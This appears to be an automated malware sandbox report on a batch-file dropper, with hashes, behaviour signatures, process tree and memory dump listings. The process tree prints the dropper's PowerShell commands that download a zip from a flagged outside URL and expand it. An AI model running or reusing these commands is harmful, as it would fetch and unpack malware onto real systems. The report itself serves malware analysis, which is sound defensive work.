1f2ddc6098fc1879106e8651c5c3c629104f994272b4fa1a04d67c8a723925ec

Analysis

max time kernel
1796s
max time network
1819s
platform
windows7_x64
resource
win7-20230831-en
resource tags

arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
submitted
14/10/2023, 01:31

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General

Target

tesy - Copy (2).bat
Size

702B
MD5

65f016a2abe40d2902c7032438a14bd7
SHA1

b3537668ca1bb826e5085aee38b3f7ec654d606e
SHA256

153b384b64bd371e0236c8497c9706db00cc102f068ea8fd4569d20b3b5a6fd8
SHA512

b52486cdc585277de12287b4b2ab17c9e401bfeaee78555fd6d8760d7954b4e361f6e3ec32e4d694ba2cfa69d3d843d0f192539f0c893500b801c05a13b488f7

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	2972	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2972	powershell.exe
2204	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2972	powershell.exe
Token: SeDebugPrivilege	2204	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1192 wrote to memory of 2972	1192	cmd.exe	29
PID 1192 wrote to memory of 2972	1192	cmd.exe	29
PID 1192 wrote to memory of 2972	1192	cmd.exe	29
PID 1192 wrote to memory of 2204	1192	cmd.exe	31
PID 1192 wrote to memory of 2204	1192	cmd.exe	31
PID 1192 wrote to memory of 2204	1192	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (2).bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://cdn.nest.rip/uploads/e341541c-6dbc-49ac-8012-0432383c9453.zip', 'test.zip')"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2972
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -command "Expand-Archive -Path 'test.zip' -DestinationPath '.'"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2204

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
b6e9fe4bcca2cee372926df181828779

SHA1
7951b66b1218ccd19875b4024b1c8c823cebc48e

SHA256
f3c67b88389f287943445e7183e41b91fb656097b17e44b8270c696a4a05b439

SHA512
7d361381346bbebef736e75ce43a419d69a03983d09540ad75b6c3f57393a7f0a9f24e736da5ad381d86b6481fbd62d0c6750f12719ad191584bd70e841f2ab1

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ZAN95A3E151TIST90DFI.temp

Filesize
7KB

MD5
b6e9fe4bcca2cee372926df181828779

SHA1
7951b66b1218ccd19875b4024b1c8c823cebc48e

SHA256
f3c67b88389f287943445e7183e41b91fb656097b17e44b8270c696a4a05b439

SHA512
7d361381346bbebef736e75ce43a419d69a03983d09540ad75b6c3f57393a7f0a9f24e736da5ad381d86b6481fbd62d0c6750f12719ad191584bd70e841f2ab1

Download Submit
memory/2204-34-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-33-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2204-32-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2204-30-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2204-31-0x00000000028E0000-0x0000000002960000-memory.dmp

Filesize
512KB

Download
memory/2204-29-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

Filesize
9.6MB

Download
memory/2204-28-0x0000000002490000-0x0000000002498000-memory.dmp

Filesize
32KB

Download
memory/2204-26-0x000000001B340000-0x000000001B622000-memory.dmp

Filesize
2.9MB

Download
memory/2204-27-0x000007FEF4CB0000-0x000007FEF564D000-memory.dmp

Filesize
9.6MB

Download
memory/2972-10-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-12-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2972-17-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2972-20-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2972-15-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-14-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-13-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-16-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-11-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2972-4-0x000000001B370000-0x000000001B652000-memory.dmp

Filesize
2.9MB

Download
memory/2972-9-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-8-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-7-0x0000000002650000-0x00000000026D0000-memory.dmp

Filesize
512KB

Download
memory/2972-6-0x000007FEF5650000-0x000007FEF5FED000-memory.dmp

Filesize
9.6MB

Download
memory/2972-5-0x0000000002350000-0x0000000002358000-memory.dmp

Filesize
32KB

Download